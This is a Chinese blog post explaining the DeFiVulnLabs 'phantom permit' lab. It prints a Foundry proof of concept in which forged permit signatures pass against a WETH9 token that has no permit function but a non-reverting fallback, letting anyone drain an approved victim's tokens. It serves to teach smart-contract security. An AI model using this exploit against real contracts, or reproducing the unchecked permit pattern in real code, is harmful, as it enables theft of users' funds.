新增了一个实验,现在DefiVlunLabs存在48个实验
fallback 函数 -> 而这个 fallback 恰好是不回滚的https://github.com/SunWeb3Sec/DeFiVulnLabs/blob/main/src/test/phantom-permit.sol
代码解析:
// SPDX-License-Identifier: MITpragma solidity ^0.8.18;import "forge-std/Test.sol";import "@openzeppelin/contracts/token/ERC20/IERC20.sol";contract ContractTest is Test {VulnPermit VulnPermitContract;WETH9 WETH9Contract;function setUp() public {WETH9Contract = new WETH9();VulnPermitContract = new VulnPermit(IERC20(address(WETH9Contract)));}function testVulnPhantomPermit() public {address alice = vm.addr(1);vm.deal(address(alice), 10 ether);vm.startPrank(alice);WETH9Contract.deposit{value: 10 ether}();WETH9Contract.approve(address(VulnPermitContract), type(uint256).max);vm.stopPrank();console.log("start WETH balanceOf this",WETH9Contract.balanceOf(address(this)));VulnPermitContract.depositWithPermit(address(alice),1000,27,0x0,0x0);uint wbal = WETH9Contract.balanceOf(address(VulnPermitContract));console.log("WETH balanceOf VulnPermitContract", wbal);VulnPermitContract.withdraw(1000);wbal = WETH9Contract.balanceOf(address(this));console.log("WETH9Contract balanceOf this", wbal);}receive() external payable {}}contract VulnPermit {IERC20 public token;constructor(IERC20 _token) {token = _token;}function deposit(uint256 amount) public {require(token.transferFrom(msg.sender, address(this), amount),"Transfer failed");}function depositWithPermit(address target,uint256 amount,uint8 v,bytes32 r,bytes32 s) public {(bool success, ) = address(token).call(abi.encodeWithSignature("permit(address,uint256,uint8,bytes32,bytes32)",target,amount,v,r,s));require(success, "Permit failed");require(token.transferFrom(target, address(this), amount),"Transfer failed");}function withdraw(uint256 amount) public {require(token.transfer(msg.sender, amount), "Transfer failed");}}// contract Permit {// IERC20 public token;// constructor(IERC20 _token) {// token = _token;// }// function deposit(uint256 amount) public {// require(// token.transferFrom(msg.sender, address(this), amount),// "Transfer failed"// );// }// function depositWithPermit(// address target,// uint256 amount,// uint8 v,// bytes32 r,// bytes32 s// ) public {// (bool success, ) = address(token).call(// abi.encodeWithSignature(// "permit(address,uint256,uint8,bytes32,bytes32)",// target,// amount,// v,// r,// s// )// );// require(success, "Permit failed");// require(// token.transferFrom(target, address(this), amount),// "Transfer failed"// );// }// function withdraw(uint256 amount) public {// require(token.transfer(msg.sender, amount), "Transfer failed");// }// }contract WETH9 {string public name = "Wrapped Ether";string public symbol = "WETH";uint8 public decimals = 18;eventApproval(address indexed src, address indexed guy, uint wad);eventTransfer(address indexed src, address indexed dst, uint wad);eventDeposit(address indexed dst, uint wad);eventWithdrawal(address indexed src, uint wad);mapping(address => uint) public balanceOf;mapping(address => mapping(address => uint)) public allowance;fallback() external payable {deposit();}receive() external payable {}function deposit() public payable {balanceOf[msg.sender] += msg.value;emit Deposit(msg.sender, msg.value);}function withdraw(uint wad) public {require(balanceOf[msg.sender] >= wad);balanceOf[msg.sender] -= wad;payable(msg.sender).transfer(wad);emit Withdrawal(msg.sender, wad);}function totalSupply() public view returns (uint) {return address(this).balance;}function approve(address guy, uint wad) publicreturns (bool) {allowance[msg.sender][guy] = wad;emit Approval(msg.sender, guy, wad);return true;}function transfer(address dst, uint wad) publicreturns (bool) {return transferFrom(msg.sender, dst, wad);}function transferFrom(address src,address dst,uint wad) public returns (bool) {require(balanceOf[src] >= wad);if (src != msg.sender && allowance[src][msg.sender] != type(uint128).max) {require(allowance[src][msg.sender] >= wad);allowance[src][msg.sender] -= wad;}balanceOf[src] -= wad;balanceOf[dst] += wad;emit Transfer(src, dst, wad);return true;}}
上述主要漏洞组成代码为 WETH9合约和VulnPermit合约
contract WETH9 {string public name = "Wrapped Ether";string public symbol = "WETH";uint8 public decimals = 18;eventApproval(address indexed src, address indexed guy, uint wad);eventTransfer(address indexed src, address indexed dst, uint wad);eventDeposit(address indexed dst, uint wad);eventWithdrawal(address indexed src, uint wad);mapping(address => uint) public balanceOf;mapping(address => mapping(address => uint)) public allowance;fallback() external payable {deposit();}receive() external payable {}function deposit() public payable {balanceOf[msg.sender] += msg.value;emit Deposit(msg.sender, msg.value);}function withdraw(uint wad) public {require(balanceOf[msg.sender] >= wad);balanceOf[msg.sender] -= wad;payable(msg.sender).transfer(wad);emit Withdrawal(msg.sender, wad);}function totalSupply() public view returns (uint) {return address(this).balance;}function approve(address guy, uint wad) publicreturns (bool) {allowance[msg.sender][guy] = wad;emit Approval(msg.sender, guy, wad);return true;}function transfer(address dst, uint wad) publicreturns (bool) {return transferFrom(msg.sender, dst, wad);}function transferFrom(address src,address dst,uint wad) public returns (bool) {require(balanceOf[src] >= wad);if (src != msg.sender && allowance[src][msg.sender] != type(uint128).max) {require(allowance[src][msg.sender] >= wad);allowance[src][msg.sender] -= wad;}balanceOf[src] -= wad;balanceOf[dst] += wad;emit Transfer(src, dst, wad);return true;}}
肢解上述代码:
fallback() external payable {deposit();}
而且WETH9里没有实现permit函数
VulnPermit合约是漏洞存在的核心
主要存在的漏洞的方法是depositWithPermit,可以看到这里主要的校验就是 (bool success, ) = address(token).call和require(success,"permit failed")
通过检查后,然后就调用了token.transferFrom(target, address(this), amount)函数
contract VulnPermit {IERC20 public token;constructor(IERC20 _token) {token = _token;}function deposit(uint256 amount) public {require(token.transferFrom(msg.sender, address(this), amount),"Transfer failed");}function depositWithPermit(address target,uint256 amount,uint8 v,bytes32 r,bytes32 s) public {(bool success, ) = address(token).call(abi.encodeWithSignature("permit(address,uint256,uint8,bytes32,bytes32)",target,amount,v,r,s));require(success, "Permit failed");require(token.transferFrom(target, address(this), amount),"Transfer failed");}function withdraw(uint256 amount) public {require(token.transfer(msg.sender, amount), "Transfer failed");}}
contract ContractTest is Test {VulnPermit VulnPermitContract;WETH9 WETH9Contract;function setUp() public {WETH9Contract = new WETH9();VulnPermitContract = new VulnPermit(IERC20(address(WETH9Contract)));}function testVulnPhantomPermit() public {address alice = vm.addr(1);vm.deal(address(alice), 10 ether);vm.startPrank(alice);WETH9Contract.deposit{value: 10 ether}();WETH9Contract.approve(address(VulnPermitContract), type(uint256).max);vm.stopPrank();console.log("start WETH balanceOf this",WETH9Contract.balanceOf(address(this)));VulnPermitContract.depositWithPermit(address(alice),1000,27,0x0,0x0);uint wbal = WETH9Contract.balanceOf(address(VulnPermitContract));console.log("WETH balanceOf VulnPermitContract", wbal);VulnPermitContract.withdraw(1000);wbal = WETH9Contract.balanceOf(address(this));console.log("WETH9Contract balanceOf this", wbal);}receive() external payable {}}
address alice = vm.addr(1); // 创建测试账户Alicevm.deal(address(alice), 10 ether); // 给Alice充值10ETHvm.startPrank(alice); // 切换至Alice操作WETH9Contract.deposit{value: 10 ether}(); // Alice存入ETH换取WETHWETH9Contract.approve(address(VulnPermitContract),type(uint256).max); // 批准VulnPermit无限转账vm.stopPrank();
VulnPermitContract.depositWithPermit(address(alice), // 指定受害者为Alice1000, // 转移金额 (1000 wei)27, // 伪造的v值 (27无效但会被接受)0x0, // 伪造的r值0x0 // 伪造的s值);
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……




还没有评论,来说两句吧...